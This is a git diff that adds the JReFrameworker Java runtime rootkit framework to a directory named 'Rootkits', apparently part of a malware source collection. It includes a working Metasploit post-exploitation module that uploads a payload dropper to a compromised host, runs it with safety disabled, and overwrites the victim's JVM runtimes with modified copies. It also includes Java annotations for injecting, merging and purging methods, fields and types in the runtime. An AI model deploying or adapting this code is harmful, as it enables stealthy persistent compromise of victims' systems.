Launcher Example](https://eclipse.org/articles/Article-Java-launch/launching-java.html) +- [Eclipse Launch Shortcuts](http://opensourcejavaphp.net/java/eclipse/org/eclipse/jdt/internal/debug/ui/launcher/JavaLaunchShortcut.java.html) +- [Launch Shortcut Example](http://grepcode.com/file_/repository.grepcode.com/java/eclipse.org/3.5.2/org.eclipse.jdt.debug/ui/3.4.1/org/eclipse/jdt/debug/ui/launchConfigurations/JavaApplicationLaunchShortcut.java/?v=source) + +## Other +- [JVM Internals](http://blog.jamesdbloom.com/JVMInternals.html) diff --git a/Cross Platform/Rootkits/JReFrameworker/images/JReFrameworker.png b/Cross Platform/Rootkits/JReFrameworker/images/JReFrameworker.png new file mode 100644 index 0000000..e808008 Binary files /dev/null and b/Cross Platform/Rootkits/JReFrameworker/images/JReFrameworker.png differ diff --git a/Cross Platform/Rootkits/JReFrameworker/images/JReFrameworker.svg b/Cross Platform/Rootkits/JReFrameworker/images/JReFrameworker.svg new file mode 100644 index 0000000..3c8c9af --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/images/JReFrameworker.svg @@ -0,0 +1,316 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + image/svg+xml + + + + + + + + + + + + + diff --git a/Cross Platform/Rootkits/JReFrameworker/metasploit/jreframeworker.rb b/Cross Platform/Rootkits/JReFrameworker/metasploit/jreframeworker.rb new file mode 100644 index 0000000..6781ea9 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/metasploit/jreframeworker.rb @@ -0,0 +1,140 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Payloads must be generated by JReFrameworker: https://ben-holland.com/JReFrameworker/ +# Place module at ~/.msf4/modules/post/manage/java/jreframeworker.rb +# Load module with 'use post/manage/java/jreframeworker' +## + +require 'msf/core' +require 'rex' + +class MetasploitModule < Msf::Post + + include Msf::Post::File + + Rank = ExcellentRanking + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Modify JVM Runtime', + 'Description' => %q{ This module executes a JReFrameworker payload dropper }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Benjamin Holland (daedared)' ], + 'Platform' => [ 'win', 'osx', 'linux' ], + 'References' => + [ + [ 'JReFrameworker', 'https://ben-holland.com/JReFrameworker/' ], + [ 'DEFCON24', 'https://www.defcon.org/html/defcon-24/dc-24-speakers.html#Holland' ] + ], + 'SessionTypes' => [ 'shell', 'meterpreter' ] + )) + + register_options( + [ + OptPath.new('PAYLOAD_DROPPER', [true, 'The JReFrameworker payload to execute']) + ], self.class) + + register_advanced_options( + [ + OptString.new('SEARCH_DIRECTORIES', [false, 'Specifies a comma separated list of victim directory paths to search for runtimes, if not specified a default set of search directories will be used.']), + OptString.new('OUTPUT_DIRECTORY', [false, 'Specifies the output directory to save modified runtimes, if not specified output files will be written as temporary files.']) + ], self.class) + end + + def upload_file(tempdir, file) + remote_file = "#{tempdir}#{File.basename(file)}" + print_status("#{peer} - Uploading #{remote_file}...") + write_file(remote_file, File.binread(file)) + print_status("#{peer} - Uploaded #{remote_file}") + remote_file + end + + def get_platform() + if session.type =~ /meterpreter/ && session.sys.config.sysinfo['OS'] =~ /darwin/i + platform = 'osx' + else + platform = session.platform + end + platform + end + + def get_temporary_directory(platform) + if platform.include? "/win" + #return "%TEMP%\\" # not working :\ + return "C:\\" + else + return "/tmp/" + end + end + + def run + dropper_local = datastore['PAYLOAD_DROPPER'] + platform = get_platform() + tempdir = get_temporary_directory(platform) + dropper_remote = upload_file(tempdir, dropper_local) + + print_status("ReFrameworking JVMs on #{session.inspect}...") + + # build the dropper command + search_directories = datastore['SEARCH_DIRECTORIES'] + cmd = "java -jar #{dropper_remote} --safety-off" + if search_directories + cmd = "#{cmd} --search-directories \"#{search_directories}\"" + end + output_directory = datastore['OUTPUT_DIRECTORY'] + if output_directory + cmd = "#{cmd} --output-directory #{output_directory}" + end + + # rework each discovered runtime + print_status("Running: #{cmd}...") + modification_results = cmd_exec(cmd) + print_status(modification_results) + + # parse the results, results are a list of original and corresponding modified runtimes + modification_results = "#{modification_results}".strip! + modifications = modification_results.split("\n") + + # iterate over each original,modified runtime pair + # and replace the original runtime with the modified runtime + index = 0 + while index < modifications.size + original = '' + modified = '' + + while original == '' && index < modifications.size + if not (modifications[index]).nil? + if modifications[index].include? 'Original Runtime: ' + original = modifications[index] + original = original.gsub! 'Original Runtime: ', '' + original.strip! + end + end + index = index + 1 + end + + while modified == '' && index < modifications.size + if not (modifications[index]).nil? + if modifications[index].include? 'Modified Runtime: ' + modified = modifications[index] + modified = modified.gsub! 'Modified Runtime: ', '' + modified.strip! + end + end + index = index + 1 + end + + if original != '' && modified != '' + print_status("Created temporary runtime #{modified}") + print_status("Overwriting #{original}...") + rm_f(original) + rename_file(modified, original) + original = '' + modified = '' + end + + end + + end + +end diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/.classpath b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/.classpath new file mode 100644 index 0000000..fceb480 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/.classpath @@ -0,0 +1,6 @@ + + + + + + diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/.gitignore b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/.gitignore new file mode 100644 index 0000000..ae3c172 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/.gitignore @@ -0,0 +1 @@ +/bin/ diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/.project b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/.project new file mode 100644 index 0000000..f9c3710 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/.project @@ -0,0 +1,17 @@ + + + com.jreframeworker.annotations.core + + + + + + org.eclipse.jdt.core.javabuilder + + + + + + org.eclipse.jdt.core.javanature + + diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/.settings/org.eclipse.jdt.core.prefs b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..3a21537 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,11 @@ +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.8 +org.eclipse.jdt.core.compiler.codegen.unusedLocal=preserve +org.eclipse.jdt.core.compiler.compliance=1.8 +org.eclipse.jdt.core.compiler.debug.lineNumber=generate +org.eclipse.jdt.core.compiler.debug.localVariable=generate +org.eclipse.jdt.core.compiler.debug.sourceFile=generate +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.8 diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/build-annotations.ant.xml b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/build-annotations.ant.xml new file mode 100644 index 0000000..139480d --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/build-annotations.ant.xml @@ -0,0 +1,19 @@ + + + + + + + + + + + + + + + + + + + diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/fields/DefineField.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/fields/DefineField.java new file mode 100644 index 0000000..86c8862 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/fields/DefineField.java @@ -0,0 +1,22 @@ +package com.jreframeworker.annotations.fields; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +// this annotation is valid for methods +@Target({ ElementType.FIELD }) + +// annotation will be recorded in the class file by the compiler, +// but won't be retained by the VM at run time (invisible annotation) +@Retention(RetentionPolicy.CLASS) + +/** + * Indicates the annotated field should be inserted into the base + * class during a merge. If the field already exists, the field + * will be replaced with the annotated field. + * + * @author Ben Holland + */ +public @interface DefineField {} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/fields/DefineFieldFinalities.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/fields/DefineFieldFinalities.java new file mode 100644 index 0000000..6265622 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/fields/DefineFieldFinalities.java @@ -0,0 +1,17 @@ +package com.jreframeworker.annotations.fields; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +// this annotation is valid for types +@Target({ ElementType.TYPE }) + +// annotation will be recorded in the class file by the compiler, +// but won't be retained by the VM at run time (invisible annotation) +@Retention(RetentionPolicy.CLASS) + +public @interface DefineFieldFinalities { + DefineFieldFinality[] value(); +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/fields/DefineFieldFinality.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/fields/DefineFieldFinality.java new file mode 100644 index 0000000..08139fc --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/fields/DefineFieldFinality.java @@ -0,0 +1,35 @@ +package com.jreframeworker.annotations.fields; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Repeatable; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +// this annotation is valid for types +@Target({ ElementType.TYPE }) + +// annotation will be recorded in the class file by the compiler, +// but won't be retained by the VM at run time (invisible annotation) +@Retention(RetentionPolicy.CLASS) + +/** + * Adds or removes the final modifier from a field + * + * "type" should be the qualified class name if not defined the target will be + * the super class of the class the annotation is placed on + * + * "field" should be the name of the field for which to set visibility + * + * "finality" should be a boolean true to add or boolean false to remove the + * final keyword + * + * @author Ben Holland + */ +@Repeatable(DefineFieldFinalities.class) +public @interface DefineFieldFinality { + int phase() default 1; + String type(); + String field(); + boolean finality(); +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/fields/DefineFieldVisibilities.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/fields/DefineFieldVisibilities.java new file mode 100644 index 0000000..52cc81f --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/fields/DefineFieldVisibilities.java @@ -0,0 +1,17 @@ +package com.jreframeworker.annotations.fields; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +// this annotation is valid for types +@Target({ ElementType.TYPE }) + +// annotation will be recorded in the class file by the compiler, +// but won't be retained by the VM at run time (invisible annotation) +@Retention(RetentionPolicy.CLASS) + +public @interface DefineFieldVisibilities { + DefineFieldVisibility[] value(); +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/fields/DefineFieldVisibility.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/fields/DefineFieldVisibility.java new file mode 100644 index 0000000..5a4b2fc --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/fields/DefineFieldVisibility.java @@ -0,0 +1,34 @@ +package com.jreframeworker.annotations.fields; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Repeatable; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +// this annotation is valid for types +@Target({ ElementType.TYPE }) + +// annotation will be recorded in the class file by the compiler, +// but won't be retained by the VM at run time (invisible annotation) +@Retention(RetentionPolicy.CLASS) + +/** + * Sets the visibility of a field + * + * "type" should be the qualified class name if not defined the target will be + * the super class of the class the annotation is placed on + * + * "field" should be the name of the field for which to set visibility + * + * "visibility" should be "public", "protected", or "private" + * + * @author Ben Holland + */ +@Repeatable(DefineFieldVisibilities.class) +public @interface DefineFieldVisibility { + int phase() default 1; + String type(); + String field(); + String visibility(); +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/fields/PurgeField.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/fields/PurgeField.java new file mode 100644 index 0000000..5b164af --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/fields/PurgeField.java @@ -0,0 +1,25 @@ +package com.jreframeworker.annotations.fields; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Repeatable; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +// this annotation is valid for methods +@Target({ ElementType.TYPE }) + +// annotation will be recorded in the class file by the compiler, +// but won't be retained by the VM at run time (invisible annotation) +@Retention(RetentionPolicy.CLASS) + +/** + * Indicates the annotated field should be purged from the base class. + * + * @author Ben Holland + */ +@Repeatable(PurgeFields.class) +public @interface PurgeField { + String type(); + String field(); +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/fields/PurgeFields.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/fields/PurgeFields.java new file mode 100644 index 0000000..bafdd5f --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/fields/PurgeFields.java @@ -0,0 +1,17 @@ +package com.jreframeworker.annotations.fields; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +// this annotation is valid for types +@Target({ ElementType.TYPE }) + +// annotation will be recorded in the class file by the compiler, +// but won't be retained by the VM at run time (invisible annotation) +@Retention(RetentionPolicy.CLASS) + +public @interface PurgeFields { + PurgeField[] value(); +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/methods/DefineMethod.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/methods/DefineMethod.java new file mode 100644 index 0000000..e9db328 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/methods/DefineMethod.java @@ -0,0 +1,22 @@ +package com.jreframeworker.annotations.methods; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +// this annotation is valid for methods +@Target({ ElementType.METHOD }) + +// annotation will be recorded in the class file by the compiler, +// but won't be retained by the VM at run time (invisible annotation) +@Retention(RetentionPolicy.CLASS) + +/** + * Indicates the annotated method should be inserted into the base type + * during a merge. If the base type already contains the method then + * the base method will be replaced with the annotated method. + * + * @author Ben Holland + */ +public @interface DefineMethod {} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/methods/DefineMethodFinalities.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/methods/DefineMethodFinalities.java new file mode 100644 index 0000000..d736bfc --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/methods/DefineMethodFinalities.java @@ -0,0 +1,17 @@ +package com.jreframeworker.annotations.methods; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +//this annotation is valid for types +@Target({ ElementType.TYPE }) + +//annotation will be recorded in the class file by the compiler, +//but won't be retained by the VM at run time (invisible annotation) +@Retention(RetentionPolicy.CLASS) + +public @interface DefineMethodFinalities { + DefineMethodFinality[] value(); +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/methods/DefineMethodFinality.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/methods/DefineMethodFinality.java new file mode 100644 index 0000000..32dfa29 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/methods/DefineMethodFinality.java @@ -0,0 +1,35 @@ +package com.jreframeworker.annotations.methods; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Repeatable; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +// this annotation is valid for types +@Target({ ElementType.TYPE }) + +// annotation will be recorded in the class file by the compiler, +// but won't be retained by the VM at run time (invisible annotation) +@Retention(RetentionPolicy.CLASS) + +/** + * Adds or removes the final modifier from a method + * + * "type" should be the qualified class name, if not defined the target will be + * the super class of the class the annotation is placed on + * + * "method" should be the name of the method for which to set finality + * + * "finality" should be a boolean true to add or boolean false to remove the + * final keyword + * + * @author Ben Holland + */ +@Repeatable(DefineMethodFinalities.class) +public @interface DefineMethodFinality { + int phase() default 1; + String type(); + String method(); + boolean finality(); +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/methods/DefineMethodVisibilities.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/methods/DefineMethodVisibilities.java new file mode 100644 index 0000000..9c998fc --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/methods/DefineMethodVisibilities.java @@ -0,0 +1,17 @@ +package com.jreframeworker.annotations.methods; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +//this annotation is valid for types +@Target({ ElementType.TYPE }) + +//annotation will be recorded in the class file by the compiler, +//but won't be retained by the VM at run time (invisible annotation) +@Retention(RetentionPolicy.CLASS) + +public @interface DefineMethodVisibilities { + DefineMethodVisibility[] value(); +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/methods/DefineMethodVisibility.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/methods/DefineMethodVisibility.java new file mode 100644 index 0000000..0762f89 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/methods/DefineMethodVisibility.java @@ -0,0 +1,34 @@ +package com.jreframeworker.annotations.methods; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Repeatable; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +// this annotation is valid for types +@Target({ ElementType.TYPE }) + +// annotation will be recorded in the class file by the compiler, +// but won't be retained by the VM at run time (invisible annotation) +@Retention(RetentionPolicy.CLASS) + +/** + * Sets the visibility of a method + * + * "type" should be the qualified class name if not defined the target will be + * the super class of the class the annotation is placed on + * + * "method" should be the name of the method for which to set visibility + * + * "visibility" should be "public", "protected", or "private" + * + * @author Ben Holland + */ +@Repeatable(DefineMethodVisibilities.class) +public @interface DefineMethodVisibility { + int phase() default 1; + String type(); + String method(); + String visibility(); +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/methods/MergeMethod.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/methods/MergeMethod.java new file mode 100644 index 0000000..aced164 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/methods/MergeMethod.java @@ -0,0 +1,24 @@ +package com.jreframeworker.annotations.methods; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +// this annotation is valid for methods +@Target({ ElementType.METHOD }) + +// annotation will be recorded in the class file by the compiler, +// but won't be retained by the VM at run time (invisible annotation) +@Retention(RetentionPolicy.CLASS) + +/** + * Indicates the base method should be renamed and made private. + * The annotated method will be inserted along the renamed base + * method. Calls to the original base method will now point to + * the annotated method. Super calls to the original base method + * will be replaced with calls to the renamed base method. + * + * @author Ben Holland + */ +public @interface MergeMethod {} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/methods/PurgeMethod.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/methods/PurgeMethod.java new file mode 100644 index 0000000..46fc683 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/methods/PurgeMethod.java @@ -0,0 +1,24 @@ +package com.jreframeworker.annotations.methods; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +// this annotation is valid for types +@Target({ ElementType.TYPE }) + +// annotation will be recorded in the class file by the compiler, +// but won't be retained by the VM at run time (invisible annotation) +@Retention(RetentionPolicy.CLASS) + +/** + * Indicates the annotated method should be purged from the base type. + * + * @author Ben Holland + */ +public @interface PurgeMethod { + int phase() default 1; + String type() default ""; + String method() default ""; +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/methods/PurgeMethods.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/methods/PurgeMethods.java new file mode 100644 index 0000000..7aa6e54 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/methods/PurgeMethods.java @@ -0,0 +1,17 @@ +package com.jreframeworker.annotations.methods; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +//this annotation is valid for types +@Target({ ElementType.TYPE }) + +//annotation will be recorded in the class file by the compiler, +//but won't be retained by the VM at run time (invisible annotation) +@Retention(RetentionPolicy.CLASS) + +public @interface PurgeMethods { + PurgeMethod[] value(); +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/types/DefineType.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/types/DefineType.java new file mode 100644 index 0000000..8665a93 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/types/DefineType.java @@ -0,0 +1,24 @@ +package com.jreframeworker.annotations.types; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +// this annotation is valid for types +@Target({ ElementType.TYPE }) + +// annotation will be recorded in the class file by the compiler, +// but won't be retained by the VM at run time (invisible annotation) +@Retention(RetentionPolicy.CLASS) + +/** + * Indicates the annotated type (class, abstract class, interface) should be + * inserted into the runtime. If the runtime type already exists it will be + * replaced with the annotated type. Ignores all other JReFrameworker annotations. + * + * @author Ben Holland + */ +public @interface DefineType { + int phase() default 1; +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/types/DefineTypeFinalities.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/types/DefineTypeFinalities.java new file mode 100644 index 0000000..d854bcb --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/types/DefineTypeFinalities.java @@ -0,0 +1,17 @@ +package com.jreframeworker.annotations.types; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +//this annotation is valid for types +@Target({ ElementType.TYPE }) + +//annotation will be recorded in the class file by the compiler, +//but won't be retained by the VM at run time (invisible annotation) +@Retention(RetentionPolicy.CLASS) + +public @interface DefineTypeFinalities { + DefineTypeFinality[] value(); +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/types/DefineTypeFinality.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/types/DefineTypeFinality.java new file mode 100644 index 0000000..02d9438 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/types/DefineTypeFinality.java @@ -0,0 +1,32 @@ +package com.jreframeworker.annotations.types; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Repeatable; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +// this annotation is valid for types +@Target({ ElementType.TYPE }) + +// annotation will be recorded in the class file by the compiler, +// but won't be retained by the VM at run time (invisible annotation) +@Retention(RetentionPolicy.CLASS) + +/** + * Adds or removes the final modifier from a type + * + * "type" should be the qualified class name, if not defined the target will be + * the super class of the class the annotation is placed on + * + * "finality" should be a boolean true to add or boolean false to remove the + * final keyword + * + * @author Ben Holland + */ +@Repeatable(DefineTypeFinalities.class) +public @interface DefineTypeFinality { + int phase() default 1; + String type(); + boolean finality(); +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/types/DefineTypeVisibilities.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/types/DefineTypeVisibilities.java new file mode 100644 index 0000000..6e75203 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/types/DefineTypeVisibilities.java @@ -0,0 +1,17 @@ +package com.jreframeworker.annotations.types; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +//this annotation is valid for types +@Target({ ElementType.TYPE }) + +//annotation will be recorded in the class file by the compiler, +//but won't be retained by the VM at run time (invisible annotation) +@Retention(RetentionPolicy.CLASS) + +public @interface DefineTypeVisibilities { + DefineTypeVisibility[] value(); +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/types/DefineTypeVisibility.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/types/DefineTypeVisibility.java new file mode 100644 index 0000000..26539e1 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/types/DefineTypeVisibility.java @@ -0,0 +1,31 @@ +package com.jreframeworker.annotations.types; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Repeatable; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +// this annotation is valid for types +@Target({ ElementType.TYPE }) + +// annotation will be recorded in the class file by the compiler, +// but won't be retained by the VM at run time (invisible annotation) +@Retention(RetentionPolicy.CLASS) + +/** + * Sets the visibility of a type + * + * "type" should be the qualified class name, if not defined the target will be + * the super class of the class the annotation is placed on + * + * "visibility" should be "public", "protected", or "private" + * + * @author Ben Holland + */ +@Repeatable(DefineTypeVisibilities.class) +public @interface DefineTypeVisibility { + int phase() default 1; + String type(); + String visibility(); +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/types/MergeType.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/types/MergeType.java new file mode 100644 index 0000000..906b21a --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations.core/src/com/jreframeworker/annotations/types/MergeType.java @@ -0,0 +1,29 @@ +package com.jreframeworker.annotations.types; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +// this annotation is valid for types +@Target({ ElementType.TYPE }) + +// annotation will be recorded in the class file by the compiler, +// but won't be retained by the VM at run time (invisible annotation) 